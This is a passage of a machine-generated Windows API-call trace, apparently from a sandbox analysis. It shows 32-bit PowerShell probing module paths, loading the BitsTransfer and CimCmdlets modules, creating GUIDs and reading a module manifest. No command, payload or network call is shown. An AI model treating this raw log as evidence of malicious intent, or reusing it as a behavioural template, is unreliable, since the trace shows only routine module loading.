(x86)\\WindowsPowerShell\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management\\Microsoft.BackgroundIntelligentTransfer.Management.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.backgroundintelligenttransfer.management\\microsoft.backgroundintelligenttransfer.management.psd1")) returned 0xffffffff [0170.047] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management\\Microsoft.BackgroundIntelligentTransfer.Management.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.backgroundintelligenttransfer.management\\microsoft.backgroundintelligenttransfer.management.psm1")) returned 0xffffffff [0170.051] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management\\Microsoft.BackgroundIntelligentTransfer.Management.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.backgroundintelligenttransfer.management\\microsoft.backgroundintelligenttransfer.management.cdxml")) returned 0xffffffff [0170.056] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management\\Microsoft.BackgroundIntelligentTransfer.Management.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.backgroundintelligenttransfer.management\\microsoft.backgroundintelligenttransfer.management.xaml")) returned 0xffffffff [0170.060] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management\\Microsoft.BackgroundIntelligentTransfer.Management.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.backgroundintelligenttransfer.management\\microsoft.backgroundintelligenttransfer.management.ni.dll")) returned 0xffffffff [0170.065] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management\\Microsoft.BackgroundIntelligentTransfer.Management.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.backgroundintelligenttransfer.management\\microsoft.backgroundintelligenttransfer.management.dll")) returned 0xffffffff [0170.110] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0170.111] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x66 [0170.111] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management", nBufferLength=0x66, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management", lpFilePart=0x0) returned 0x65 [0170.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d024) returned 1 [0170.112] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.backgroundintelligenttransfer.management"), fInfoLevelId=0x0, lpFileInformation=0x5a2d2e8 | out: lpFileInformation=0x5a2d2e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0170.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d020) returned 1 [0170.117] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management\\Microsoft.BackgroundIntelligentTransfer.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.backgroundintelligenttransfer.management\\microsoft.backgroundintelligenttransfer.management.psd1")) returned 0xffffffff [0170.123] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management\\Microsoft.BackgroundIntelligentTransfer.Management.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.backgroundintelligenttransfer.management\\microsoft.backgroundintelligenttransfer.management.psm1")) returned 0xffffffff [0170.129] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management\\Microsoft.BackgroundIntelligentTransfer.Management.cdxml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.backgroundintelligenttransfer.management\\microsoft.backgroundintelligenttransfer.management.cdxml")) returned 0xffffffff [0170.134] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management\\Microsoft.BackgroundIntelligentTransfer.Management.xaml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.backgroundintelligenttransfer.management\\microsoft.backgroundintelligenttransfer.management.xaml")) returned 0xffffffff [0170.141] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management\\Microsoft.BackgroundIntelligentTransfer.Management.ni.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.backgroundintelligenttransfer.management\\microsoft.backgroundintelligenttransfer.management.ni.dll")) returned 0xffffffff [0170.146] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.BackgroundIntelligentTransfer.Management\\Microsoft.BackgroundIntelligentTransfer.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.backgroundintelligenttransfer.management\\microsoft.backgroundintelligenttransfer.management.dll")) returned 0xffffffff [0170.373] CoCreateGuid (in: pguid=0x5a2ce40 | out: pguid=0x5a2ce40*(Data1=0xf85e8eb6, Data2=0xb515, Data3=0x402c, Data4=([0]=0xa0, [1]=0xad, [2]=0x9f, [3]=0xac, [4]=0xba, [5]=0xf6, [6]=0x3e, [7]=0x99))) returned 0x0 [0170.383] CoCreateGuid (in: pguid=0x5a2c4cc | out: pguid=0x5a2c4cc*(Data1=0x869c29e1, Data2=0xe188, Data3=0x4bc5, Data4=([0]=0x80, [1]=0xcf, [2]=0xb1, [3]=0x37, [4]=0x84, [5]=0x92, [6]=0x35, [7]=0x92))) returned 0x0 [0170.471] CoCreateGuid (in: pguid=0x5a2c78c | out: pguid=0x5a2c78c*(Data1=0x3fea8169, Data2=0xbaf8, Data3=0x4d50, Data4=([0]=0xa1, [1]=0xd3, [2]=0x3a, [3]=0x83, [4]=0x95, [5]=0x36, [6]=0x34, [7]=0xf2))) returned 0x0 [0170.517] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\", nBufferLength=0x105, lpBuffer=0x5a2c820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0171.880] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x373f80 [0171.901] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2b0f8 | out: phkResult=0x5a2b0f8*=0x0) returned 0x2 [0171.901] RegCloseKey (hKey=0x80000002) returned 0x0 [0171.906] EtwEventRegister () returned 0x0 [0171.910] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x5a2a7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0171.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2aa44) returned 1 [0171.911] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x5a2ad08 | out: lpFileInformation=0x5a2ad08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0171.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2aa40) returned 1 [0172.035] CoCreateGuid (in: pguid=0x5a2af2c | out: pguid=0x5a2af2c*(Data1=0xb8f876e8, Data2=0xf522, Data3=0x491f, Data4=([0]=0x89, [1]=0x3f, [2]=0xa6, [3]=0x4d, [4]=0x41, [5]=0x8d, [6]=0x11, [7]=0x7d))) returned 0x0 [0172.037] CoCreateGuid (in: pguid=0x5a2af20 | out: pguid=0x5a2af20*(Data1=0xee42569d, Data2=0x57b6, Data3=0x44d8, Data4=([0]=0x80, [1]=0x56, [2]=0xca, [3]=0xbb, [4]=0x54, [5]=0x16, [6]=0x53, [7]=0x48))) returned 0x0 [0172.037] CoCreateGuid (in: pguid=0x5a2af20 | out: pguid=0x5a2af20*(Data1=0x15bb647a, Data2=0x8fca, Data3=0x4330, Data4=([0]=0xab, [1]=0x85, [2]=0x13, [3]=0x7f, [4]=0x93, [5]=0x9f, [6]=0x74, [7]=0x3))) returned 0x0 [0172.037] CoCreateGuid (in: pguid=0x5a2af20 | out: pguid=0x5a2af20*(Data1=0x2de00d54, Data2=0xb32d, Data3=0x4a4f, Data4=([0]=0x9d, [1]=0xde, [2]=0xb, [3]=0x6b, [4]=0xf7, [5]=0xab, [6]=0x5c, [7]=0xf5))) returned 0x0 [0172.037] CoCreateGuid (in: pguid=0x5a2af20 | out: pguid=0x5a2af20*(Data1=0xd99fa6b6, Data2=0x1cf9, Data3=0x4e5a, Data4=([0]=0x8e, [1]=0x84, [2]=0x7a, [3]=0xc2, [4]=0xf6, [5]=0x8f, [6]=0x75, [7]=0xbd))) returned 0x0 [0172.037] CoCreateGuid (in: pguid=0x5a2af20 | out: pguid=0x5a2af20*(Data1=0x9b553b18, Data2=0x2c6e, Data3=0x483c, Data4=([0]=0x8a, [1]=0x9c, [2]=0xe, [3]=0x1a, [4]=0xd5, [5]=0x4e, [6]=0xa2, [7]=0x3))) returned 0x0 [0172.037] CoCreateGuid (in: pguid=0x5a2af20 | out: pguid=0x5a2af20*(Data1=0x6325f1ef, Data2=0x4217, Data3=0x41be, Data4=([0]=0xbb, [1]=0x68, [2]=0xd7, [3]=0xc6, [4]=0x41, [5]=0x6d, [6]=0x26, [7]=0xe1))) returned 0x0 [0172.037] CoCreateGuid (in: pguid=0x5a2af20 | out: pguid=0x5a2af20*(Data1=0xee2fde3, Data2=0xbd3f, Data3=0x4985, Data4=([0]=0x87, [1]=0xa5, [2]=0x40, [3]=0x72, [4]=0x6a, [5]=0xee, [6]=0x9e, [7]=0xc3))) returned 0x0 [0172.037] CoCreateGuid (in: pguid=0x5a2af20 | out: pguid=0x5a2af20*(Data1=0x527c3923, Data2=0x99ba, Data3=0x452c, Data4=([0]=0xb3, [1]=0x1a, [2]=0x6d, [3]=0x1f, [4]=0x5e, [5]=0x60, [6]=0x3f, [7]=0xda))) returned 0x0 [0172.037] CoCreateGuid (in: pguid=0x5a2af20 | out: pguid=0x5a2af20*(Data1=0x9e1af02a, Data2=0x48f4, Data3=0x4102, Data4=([0]=0x98, [1]=0xd3, [2]=0xcd, [3]=0xf4, [4]=0xcd, [5]=0xad, [6]=0x46, [7]=0x7f))) returned 0x0 [0172.037] CoCreateGuid (in: pguid=0x5a2af20 | out: pguid=0x5a2af20*(Data1=0x56663400, Data2=0x7a5, Data3=0x4d89, Data4=([0]=0x82, [1]=0x0, [2]=0x65, [3]=0x15, [4]=0xa0, [5]=0x98, [6]=0xfe, [7]=0xdb))) returned 0x0 [0172.037] CoCreateGuid (in: pguid=0x5a2af20 | out: pguid=0x5a2af20*(Data1=0xf9d8cb34, Data2=0xb992, Data3=0x4edb, Data4=([0]=0x82, [1]=0xf1, [2]=0x2e, [3]=0xaa, [4]=0x5d, [5]=0x1a, [6]=0xb3, [7]=0x51))) returned 0x0 [0172.038] CoCreateGuid (in: pguid=0x5a2af20 | out: pguid=0x5a2af20*(Data1=0x9f56a8d, Data2=0x8557, Data3=0x4888, Data4=([0]=0xbf, [1]=0xc5, [2]=0xff, [3]=0x44, [4]=0x7f, [5]=0x6d, [6]=0x3c, [7]=0x94))) returned 0x0 [0172.044] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5a2ac3c, nSize=0xfa | out: lpBuffer="") returned 0x0 [0172.045] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\Microsoft.BackgroundIntelligentTransfer.Management", nBufferLength=0x105, lpBuffer=0x5a2b330, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\Microsoft.BackgroundIntelligentTransfer.Management", lpFilePart=0x0) returned 0x72 [0172.047] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\Microsoft.BackgroundIntelligentTransfer.Management", nBufferLength=0x105, lpBuffer=0x5a2b2b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\Microsoft.BackgroundIntelligentTransfer.Management", lpFilePart=0x0) returned 0x72 [0172.391] CoGetContextToken (in: pToken=0x5a2aac4 | out: pToken=0x5a2aac4) returned 0x0 [0172.391] CObjectContext::QueryInterface () returned 0x0 [0172.391] CObjectContext::GetCurrentApartmentType () returned 0x0 [0172.391] Release () returned 0x0 [0172.392] CoGetObjectContext (in: riid=0x719b2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5c4ef94 | out: ppv=0x5c4ef94*=0x340018) returned 0x0 [0172.393] CoGetContextToken (in: pToken=0x5a2aed4 | out: pToken=0x5a2aed4) returned 0x0 [0172.393] CoGetContextToken (in: pToken=0x5a2b4a4 | out: pToken=0x5a2b4a4) returned 0x0 [0172.393] CoGetContextToken (in: pToken=0x5a2b404 | out: pToken=0x5a2b404) returned 0x0 [0172.393] CoGetContextToken (in: pToken=0x5a2b534 | out: pToken=0x5a2b534) returned 0x0 [0172.416] CoGetContextToken (in: pToken=0x5a2aabc | out: pToken=0x5a2aabc) returned 0x0 [0172.416] CoGetContextToken (in: pToken=0x5a2aecc | out: pToken=0x5a2aecc) returned 0x0 [0172.416] CoGetContextToken (in: pToken=0x5a2b49c | out: pToken=0x5a2b49c) returned 0x0 [0172.416] CoGetContextToken (in: pToken=0x5a2b3fc | out: pToken=0x5a2b3fc) returned 0x0 [0172.420] CoGetContextToken (in: pToken=0x5a2aab4 | out: pToken=0x5a2aab4) returned 0x0 [0172.420] CoGetContextToken (in: pToken=0x5a2aec4 | out: pToken=0x5a2aec4) returned 0x0 [0172.420] CoGetContextToken (in: pToken=0x5a2b494 | out: pToken=0x5a2b494) returned 0x0 [0172.420] CoGetContextToken (in: pToken=0x5a2b3f4 | out: pToken=0x5a2b3f4) returned 0x0 [0172.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.BackgroundIntelligentTransfer.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.BackgroundIntelligentTransfer.Management.dll", nBufferLength=0x105, lpBuffer=0x5a2b2d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.BackgroundIntelligentTransfer.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.BackgroundIntelligentTransfer.Management.dll", lpFilePart=0x0) returned 0xa0 [0172.883] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.BackgroundIntelligentTransfer.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.BackgroundIntelligentTransfer.Management.dll", nBufferLength=0x105, lpBuffer=0x5a2b1c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.BackgroundIntelligentTransfer.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.BackgroundIntelligentTransfer.Management.dll", lpFilePart=0x0) returned 0xa0 [0173.094] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0173.094] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", lpFilePart=0x0) returned 0x51 [0173.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2daa0) returned 1 [0173.094] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22c29a8 | out: lpFileInformation=0x22c29a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a2760e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x14a2760e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37b3dedc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3b6)) returned 1 [0173.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2da9c) returned 1 [0173.102] EtwEventActivityIdControl () returned 0x0 [0173.102] EtwEventActivityIdControl () returned 0x0 [0173.102] SetEvent (hEvent=0x238) returned 1 [0173.102] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5a2e280*=0x238, lpdwindex=0x5a2e0a4 | out: lpdwindex=0x5a2e0a4) returned 0x0 [0173.103] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0173.103] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", lpFilePart=0x0) returned 0x51 [0173.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e160) returned 1 [0173.103] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22c4620 | out: lpFileInformation=0x22c4620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a2760e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x14a2760e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37b3dedc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3b6)) returned 1 [0173.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e15c) returned 1 [0173.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e470) returned 1 [0173.105] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0173.105] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0173.105] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\*" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets\\*"), lpFindFileData=0x5a2e220 | out: lpFindFileData=0x5a2e220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c693c0 [0173.106] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.106] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a3e9e0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x90a3e9e0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x5eaf6a81, ftLastWriteTime.dwHighDateTime=0x1d21d41, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets.psd1", cAlternateFileName="")) returned 1 [0173.106] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a3e9e0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x90a3e9e0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x5eaf6a81, ftLastWriteTime.dwHighDateTime=0x1d21d41, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets.psd1", cAlternateFileName="")) returned 0 [0173.106] FindClose (in: hFindFile=0x5c693c0 | out: hFindFile=0x5c693c0) returned 1 [0173.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e0) returned 1 [0173.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0173.106] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets\\cimcmdlets.psd1")) returned 0x20 [0173.106] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0173.107] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1", nBufferLength=0x4e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1", lpFilePart=0x0) returned 0x4d [0173.107] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0173.107] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1", nBufferLength=0x4e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1", lpFilePart=0x0) returned 0x4d [0173.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e8) returned 1 [0173.107] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets\\cimcmdlets.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22c4ba8 | out: lpFileInformation=0x22c4ba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a3e9e0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x90a3e9e0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x5eaf6a81, ftLastWriteTime.dwHighDateTime=0x1d21d41, nFileSizeHigh=0x0, nFileSizeLow=0x75e)) returned 1 [0173.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e4) returned 1 [0173.107] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0173.107] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1", nBufferLength=0x4e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1", lpFilePart=0x0) returned 0x4d [0173.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e350) returned 1 [0173.108] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets\\cimcmdlets.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0173.108] GetFileType (hFile=0x44c) returned 0x1 [0173.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e34c) returned 1 [0173.108] GetFileType (hFile=0x44c) returned 0x1 [0173.109] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x0 [0173.109] ReadFile (in: hFile=0x44c, lpBuffer=0x22c5990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x22c5990*, lpNumberOfBytesRead=0x5a2e3b8*=0x75e, lpOverlapped=0x0) returned 1 [0173.115] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x75e 